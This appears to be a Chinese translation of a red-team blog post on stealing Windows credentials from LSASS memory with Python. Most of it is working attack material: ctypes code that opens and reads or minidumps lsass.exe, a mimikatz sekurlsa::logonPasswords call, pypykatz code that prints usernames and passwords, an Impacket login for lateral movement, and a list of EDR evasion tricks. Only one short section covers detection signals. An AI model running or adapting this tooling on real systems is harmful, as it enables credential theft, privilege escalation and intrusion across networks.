白帽故事 · 2025年8月5日

Python自动化提取LSASS凭证:后渗透的密码抓取实战​

file

Windows 本地安全授权子系统服务(LSASS)负责执行身份验证,并在其内存中存储所有活跃用户的凭证信息(密码、NT/LM 哈希值、Kerberos 票据等)。

通过提取这些机密信息,攻击者可以获得权限提升(例如获取域管理员哈希值)和横向移动能力。

简而言之,LSASS 为每个已登录用户保存着加密密码和令牌数据,使其成为极具价值的攻击目标,这些凭证一旦被盗,攻击者就能冒充用户身份、提升权限或在网络中不受限制地移动。

即使是现代的后渗透框架也默认集成 LSASS 转储功能,例如:Cobalt Strike 和其它工具都将类似 Mimikatz 的功能整合到其 beacon 载荷中,用于自动化转储 LSASS。

在实战中,攻击者通常需要获取 SYSTEM 权限并立即运行凭证转储工具(Mimikatz 或同类工具)以收集可用于持久化和横向移动的登录凭证。

正因凭证转储如此关键,Windows 10 才引入了 LSA 保护机制(LSA Protection),将 LSASS 标记为受保护进程(PPL),从而阻止大多数第三方进程的访问。总之,从 LSASS 窃取凭证是后渗透阶段的关键策略——它能为攻击者开启新的管理员会话权限,并将攻击渗透至域环境深处。

LSASS 深度解析

LSASS 进程(Windows 系统中以 lsass.exe 服务形式存在)负责处理所有安全策略和操作系统认证功能。

每当用户登录时,LSASS 都会验证密码并将相关信息保留在内存中(包括 Kerberos 票据数据、LSA 密钥、缓存的域凭证等)。

简而言之,任何涉及密码和令牌的操作都要经过 LSASS,这使其成为理想的攻击目标:通过读取 LSASS 内存,攻击者可以提取明文密码、NTLM 哈希、Kerberos 密钥等操作系统用于用户认证的敏感信息。

从设计机制看,只有 SYSTEM 账户或具备 SeDebugPrivilege 权限的管理员才能访问 LSASS 内存。攻击者必须先提升至 SYSTEM 权限,或为其进程启用 SeDebugPrivilege 权限才能实施 LSASS 攻击。

但这种方式带来的回报远超风险:获取 LSASS 内存后,攻击者可以窃取任何当前或曾经登录用户的凭证。在实战攻击中,可能提取到的敏感信息包括 NTLM 密码哈希、LAN Manager(LM)哈希(旧系统)、缓存的域哈希(DCC)以及实时 Kerberos 票据数据。

这些信息后续可被用于密码爆破或重放攻击(Pass-the-Hash、Pass-the-Ticket),从而实现横向移动或权限提升。

LSASS 访问挑战

现代系统对 LSASS 实施了多重保护,Windows 可将其标记为受保护进程(Protected Process,PPL),仅允许经过签名的受保护进程(如 MSA 或 Credential Guard 组件)进行访问。

在大多数现代系统上,LSASS 通常以隔离服务(Lsaiso.dll 虚拟安全模式)形式运行,阻止未签名的读取操作。

即使关闭 LSA 保护机制,大多数杀毒软件或终端检测与响应(EDR)系统都会对 LSASS 访问行为进行 API Hook。

实际上,许多安全产品会通过内核回调函数来特别阻止对 lsass.exe 的未授权操作 ,例如:杀毒软件可能直接阻止进程调用 OpenProcess() 来访问 LSASS。

因此,要成功实施 LSASS 转存,我们的 Python 工具必须克服以下难点:

  1. 需要高权限执行上下文(至少具备 SeDebugPrivilege 的管理员权限,最好是 NT AUTHORITY\SYSTEM)
  2. 需要规避 API Hook,确保 ReadProcessMemory() 或 MiniDumpWriteDump() 等关键调用不会触发告警
  3. 最小化攻击痕迹(例如避免写入恶意文件到磁盘)以杀毒软件或EDR察觉 LSASS 转储行为

转储策略

直接内存读取(ctypes + WinAPI)

通过标准 Windows API(OpenProcess + ReadProcessMemory),我们可以将 LSASS 内存复制到自身进程中并搜索凭证信息,在 Python 中可通过 ctypes(或 pywin32)实现:

import ctypes, ctypes.wintypes as wintypes

# 常量定义
PROCESS_QUERY_INFO = 0x0400
PROCESS_VM_READ    = 0x0010

# 获取 LSASS PID(假设已通过 psutil 实现)
pid = get_lsass_pid()
if not pid:
    raise RuntimeError("未找到 LSASS 进程")

# 打开 LSASS 进程(需要 SeDebugPrivilege 权限)
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
h_proc = kernel32.OpenProcess(PROCESS_QUERY_INFO | PROCESS_VM_READ, False, pid)
if not h_proc:
    raise ctypes.WinError(ctypes.get_last_error())

# 读取 LSASS 内存
addr = ctypes.c_void_p(0x10000000)  # 示例基址
buffer = ctypes.create_string_buffer(0x1000)
bytesRead = wintypes.SIZE_T(0)
success = kernel32.ReadProcessMemory(h_proc, addr, buffer, len(buffer), ctypes.byref(bytesRead))
if success:
    data = buffer.raw[:bytesRead.value]
    print("从 LSASS 内存地址 0x{:08x} 读取 {} 字节".format(addr.value, bytesRead.value))

这段代码演示了如何将 LSASS 内存块复制至 data 变量,然后搜索相关凭证结构或明文密码。

值得注意的是,EDR 会对 OpenProcess 或 ReadProcessMemory 的每次调用进行监控。这使得该方法虽然有效,但隐蔽性很差,要在实战中隐蔽,需对相关调用进行混淆或隐藏。

创建 MiniDump(MiniDumpWriteDump)

更常见的策略是创建 LSASS 内存转储文件,再通过外部工具进行解析。

Windows 提供的 MiniDumpWriteDump API(位于 dbghelp.dll)可将进程内存快照写入文件:

from ctypes import wintypes
dbghelp = ctypes.windll.dbghelp

# 定义 MiniDumpWriteDump 参数类型
dbghelp.MiniDumpWriteDump.argtypes = [
    wintypes.HANDLE, wintypes.DWORD, wintypes.HANDLE, wintypes.DWORD,
    wintypes.LPVOID, wintypes.LPVOID, wintypes.LPVOID]

# 创建文件句柄和 LSASS 访问句柄
h_file = kernel32.CreateFileW("lsass.dmp", 0x40000000, 0, None, 2, 0, None)
pid = get_lsass_pid()
h_lsass = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

# 执行内存转储
MINIDUMP_FULL = 0x00000002
success = dbghelp.MiniDumpWriteDump(h_lsass, pid, h_file, MINIDUMP_FULL, None, None, None)
if not success:
    print("MiniDumpWriteDump 失败:", ctypes.get_last_error())

以上代码通过合法的 Windows API 生成 lsass.dmp 转储文件,防御系统仍能检测到文件创建和 dbghelp 调用,但由于此类 API 是任务管理器等系统工具的底层实现机制,因此更具隐蔽性。

进阶技巧包括将转储文件保存在内存或命名管道中,例如通过 CreateFileMapping + MapViewOfFile 创建内存文件映射,从而避免磁盘I/O操作。

Mimikatz(与 pypykatz)调用

最经典的 LSASS 转储工具当属 Mimikatz 的 sekurlsa 模块。在 Python 中可通过子进程调用实现:

import subprocess
result = subprocess.run([
    "mimikatz.exe", "privilege::debug", "sekurlsa::logonPasswords", "exit"
], capture_output=True, text=True)
print(result.stdout)

由于将 mimikatz.exe 释放至磁盘极易触发杀软告警,实战中更推荐内存加载技术,Python 原生的 pypykatz(SkelSec 工具包组件)可作为替代方案:

import pypykatz

# 实时解析 LSASS 内存(需要等同 Mimikatz 的权限)
katz = pypykatz.go_live()
for session in katz.logon_sessions:
    for cred in session.credentials:
        print(f"{cred.username}\\\\{cred.domain} : {cred.password}")

pypykatz 支持直接解析内存转储文件(katz = pypykatz.parse_minidump("lsass.dmp")),提供与 sekurlsa::logonPasswords 相同的凭证提取能力,由于完全运行在 Python 环境中,该工具无需释放独立二进制文件。

隐蔽性与 EDR 规避技巧

EDR 系统对 LSASS 实施严密监控,因此需要利用系统"盲点"进行隐蔽操作,例如 Diego Capriotti 提出的「Living-Off-the-Blindspot」技术建议完全在合法的 Python 解释器中执行代码,借助签名二进制程序的信任链规避部分用户态 Hook 。其它进阶技巧包括:

  1. LSASS 进程 forking:通过 NtCreateProcessEx 创建 LSASS 的子进程(处于挂起状态),其内存状态是原始进程的完整副本,由于不会触发新线程创建事件,大部分 EDR 的进程创建告警机制会失效
  2. 句柄继承与伪装:创建良性进程(如 svchost.exe)并伪造为 LSASS 子进程,利用继承句柄读取内存
  3. 替代转储 API:使用 Windows 内置工具(如 rundll32 comsvcs.dll MiniDumpprocdump.exe)实施转储操作,利用其合法签名规避告警

检测与行动安全(OPSEC)考量

从防御者的角度来看,导出 LSASS 是非常容易引起注意的。

导出的每个阶段都可以被Hook:EDR会看到“OpenProcess(lsass)”、“ReadProcessMemory”和“CreateFile(lsass.dmp)”,它可能会相应地记录Windows事件或Sysmon警告。

常见的信号包括进程访问事件(例如,Sysmon事件ID 10,任何调用LSASS的OpenProcess的进程)和进程创建事件(例如,新的taskmgr.exe或rundll32.exe导出LSASS)。

日志可能会显示安全事件4672(特权令牌)和4698/4688 的意外任务,如果使用 MiniDumpWriteDump 写入磁盘文件,Sysmon也会标记文件创建(事件ID 11)。

整合至 C2 工作流

在完整的红队行动中,LSASS 转储只是杀伤链的环节之一,提取的凭证通常会被输送至 C2 系统用于横向移动,例如通过 Impacket 库的 wmiexec.py 或 psexec.py 执行远程命令:

from impacket.smbconnection import SMBConnection

conn = SMBConnection('TARGETHOST', 'TARGETHOST') 
conn.login('Alice', 'P@ssw0rd', domain='CORP') 
print("连接成功,启动远程 Shell...")
# 执行横向移动操作

自动化该过程,一个 C2 beacon 可以循环遍历 IP 范围,使用每个新的凭证进行横向移动。

一些红队工具(如 LSASSY)甚至将远程转储与 Python 解析结合起来:使用 Impacket 通过 WMI/COM 读取另一台主机的 LSASS,然后使用 pypykatz 提取凭证。

最终目的都是:将凭证重新引导回利用链(转储的凭证可以破解更高权限的账户或建立新的管理员会话)。

总结

Python 提供了多种实现 LSASS 凭证转储的技术路径,在实战中,需结合环境特性和防御强度选择最优解,核心原则是保持操作隐蔽性(利用合法进程链、减少磁盘写入、规避 API Hook等)。

通过深入理解 Windows 内部机制和 EDR 检测逻辑,结合自动化攻击链,红队才能更加有效的提升 LSASS 凭证窃取的成功率。

原文:https://medium.com/@maxwellcross/dumping-credentials-with-python-automating-lsass-access-and-credential-extraction-a8c79d36ff08